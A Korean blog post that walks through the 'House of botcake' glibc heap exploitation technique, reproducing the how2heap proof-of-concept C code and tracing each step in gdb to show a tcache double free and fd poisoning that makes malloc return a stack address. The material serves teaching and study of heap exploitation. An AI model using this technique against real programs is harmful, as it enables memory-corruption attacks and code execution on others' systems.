[Pwn] House of botcake

코코·2023년 3월 18일
0

pwn

목록 보기
1/10
post-custom-banner

House of botcake


오늘은 House of botcake에 대해 알아볼 예정이다..

House of botcake는 tcache에서 double free bug를 막기 위해 추가된 e->key를 건드리지 않고도, DFB를 유발시킬 수 있는 취약점이다.


우선 코드를 살펴보기 전, tcache에 대해 몇 가지 짚고 넘어갈 포인트가 있다.

  • tcachebin은 Single Linked List 구조
  • tcache에 들어갈 수 있는 크기의 Chunk가 Free되면 tcache에 먼저 저장(최대 7개까지 저장 후 나머진 각자 크기에 맞는 bin으로 들어감)
  • 나중에 들어온 Free Chunk가 먼저 사용됨(LIFO 방식)

추가로 + Double Free Bug 취약점에 대한 이해



위의 포인트들을 기억하고, 코드를 살펴보자.

int main()
{
    intptr_t stack_var[4];
    printf("the target address is %p.\n\n", stack_var);

    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }

    puts("Allocating a chunk for later consolidation");
    intptr_t *prev = malloc(0x100);
    puts("Allocating the victim chunk.");
    intptr_t *a = malloc(0x100);
    printf("malloc(0x100): a=%p.\n", a); 
    puts("Allocating a padding to prevent consolidation.\n");
    malloc(0x10);

    puts("Now we are able to cause chunk overlapping");
    puts("Step 1: fill up tcache list");
    for(int i=0; i<7; i++){
        free(x[i]);
    }
    puts("Step 2: free the victim chunk so it will be added to unsorted bin");
    free(a);
    
    puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
    free(prev);
    
    puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
    malloc(0x100);

    free(a);// a is already freed

    
    // simple tcache poisoning
    intptr_t *b = malloc(0x120);
    puts("We simply overwrite victim's fwd pointer");
    b[0x120/8-2] = (long)stack_var;

    malloc(0x100);
    intptr_t *c = malloc(0x100);
    printf("The new chunk is at %p\n", c);
    
    assert(c==stack_var);

    return 0;
}

위부터 차근차근 살펴보자.

    intptr_t stack_var[4];
    printf("the target address is %p.\n\n", stack_var)
  
    puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }

우선 for문을 통해 7번 반복을 수행한다.
그러면 0x100의 크기를 가진 7개의 Chunk가 할당될 것이다.

정확하기 확인하기 위해 gdb를 통해 살펴보자.
반복문이 끝난 부분을 확인하기 위해 b *main+222
로 breakpoint 설정!

그러면 총 7개의 Chunk가 할당된 것을 확인할 수 있다.(0x100 + 0x10 + 0x1은 Flag bit로 예상)

    intptr_t *prev = malloc(0x100);
    puts("Allocating the victim chunk.");
    intptr_t *a = malloc(0x100);
    printf("malloc(0x100): a=%p.\n", a); 
    puts("Allocating a padding to prevent consolidation.\n");
    malloc(0x10);

다음으로 0x100 크기의 Chunk를 2개 할당받고, 0x10 크기의 Chunk 1개를 할당받는다.

마찬가지로 바로 pwndbg를 통해 확인해보자.
b *main+315 까지가 0x10을 할당받는 코드.


해당 부분에서 heap 명령어를 통해 heap를 확인해본 모습


즉, 지금까지의 상황을 요약해보면,
   1. 7번의 malloc(0x100)
   2. 2번의 malloc(0x100)
   3. 1번의 malloc(0x10)

위 부분을 기억하고, 이제 다음부분으로 넘어가보자...

    puts("Step 1: fill up tcache list");
    for(int i=0; i<7; i++){
        free(x[i]);
    }

다음부분은 7개의 0x100 크기의 Chunk들을 Free하는 부분이다.

Free 함수의 7번 호출 이후인 b *main+400으로 이동

해당 부분으로 이동하여 heap 명령어를 통해 확인해보면 아래와 같음.

7개의 Chunk들이 해제되었고, tcachebins로 이동...

tcachebins 명령어를 통해 tcachebins를 확인해보면, 7개로 가득찬 것을 확인할 수 있다..

※ tcachebin은 동일한 Size의 Chunk를 최대 7개까지 보관.

그러면 다음부터 해제되는 2개의 0x100 Size의 Chunk는 Unsorted bin에 들어가게 될 것이다...

heap 명령어를 통해 아직 해제되지 않은 Chunk의 주소를 확인해보면, 위와 같다.

Addr : 0x555555559a00 & 0x555555559b10

Free(0x555555559b10) 호출!

heap & unsortedbin 명령어를 통해 확인해보면, tcachebin이 7개로 가득찬 후 다음 해제되는 0x100 크기의 Chunk는 Unsorted bin에 들어간 것을 확인할 수 있다...
또한 Unsortedbin은 tcachebin과 다르게, fdbk를 모두 사용한다!

그 다음 Free 함수 호출

마지막으로 0x100의 Chunk를 한 번 더 호출하면, 이전에 호출했던 Chunk와 인접한 지역에 있으므로, 둘을 병합한다.

사이즈가 0x221로 0x100사이즈의 Chunk 2개가 병합된 것을 확인할 수 있다.

또한 Unsorted bin의 주소가 달라진 것을 확인할 수 있다.(0x555555559b10 -> 0x555555559a00)

0x555555559b10의 주소가 a!
0x555555559a00의 주소는 코드에서 prev!

우선 a와 prev 모두 Free가 된 상태이다.



puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
malloc(0x100);

그 다음으로 tcachebin의 자리를 하나 비워주기 위해 malloc(0x100)의 코드를 실행한다.

malloc(0x100) 실행 후 heap 확인

tcachebins 명령어를 통해 확인해보면, 7 ➔ 6개로 1자리가 생긴 것을 확인할 수 있다.


free(a);// a is already freed

그 후 a 주소를 다시 free 시켜준다!!!

그러면 a는 이미 Free 된 상태임에도 불구하고, e➔key 값이 없어 검증을 우회하여 한 번 더 Free가 되어, tcachebin에 들어간다!

a의 fd, 0x555555559b10 + 0x10 = 0x555555559B20
즉, a는 Double Free 상태 !!!

다시 진행 GoGo~

intptr_t *b = malloc(0x120);

b[0x120/8-2] = (long)stack_var;

0x120인 Chunk를 할당요청하면, Unsortedbin에서 꺼내준다..
heap으로 확인해보자... 그러면, 0x555555559a00 주소로 0x130만큼 잘라서 할당해준 것을 확인할 수 있다...


그러면 이제 해당 Chunk의 주소값을 통해 a 주소의 fd 값을 조작할 수 있는 것이다. 이해하기 쉽게 도식화로 표현해보면 아래와 같다.

fd를 조작하기 위해서는 b[22]에 값을 넣어줘야하므로, 코드의 맨 아래부분에서 b[22]에 (long)stack_var을 넣어주는 것이다.

계산식은 아래와 같다.

0x555555559b20 - 0x555555559a10 = 0x110 / 8 = 22

0x110을 할당받은 변수는 intptr_t(8byte)이므로, a의 fd를 수정하기 위해서는 b[22] 번째 값에 stack_var의 주소를 넣어줘야함.

실제로 gdb를 통해 확인해보면, fd에 stack_var의 주소(0x7fffffffe390)가 정상적으로 들어간 것을 확인할 수 있다!

malloc(0x100);
intptr_t *c = malloc(0x100);
printf("The new chunk is at %p\n", c);

assert(c==stack_var);
printf("Got control on target/stack!\n\n");

해당 tcachebins에서 stack_var 에 값을 쓰기 위해선 malloc을 한 번 해주고(0x555555559b20), 그 다음 malloc에서 stack_var에 값을 삽입할 수 있다.

c의 주소값이 stack_var의 주소가 출력된 것을 확인할 수 있다.(malloc으로 할당받은 영역이 stack_var의 주소. 즉, stack_var에 값을 쓸 수 있다!)

그리고 마지막으로 assert함수를 통해 malloc을 통해 할당받은 c의 주소와 stack_var의 주소가 같은지 확인하고 있다!!!



-The End🖐-

how2heap(glibc-2.31)
👉https://github.com/shellphish/how2heap/blob/master/glibc_2.31/house_of_botcake.c

profile
화이팅!
post-custom-banner

0개의 댓글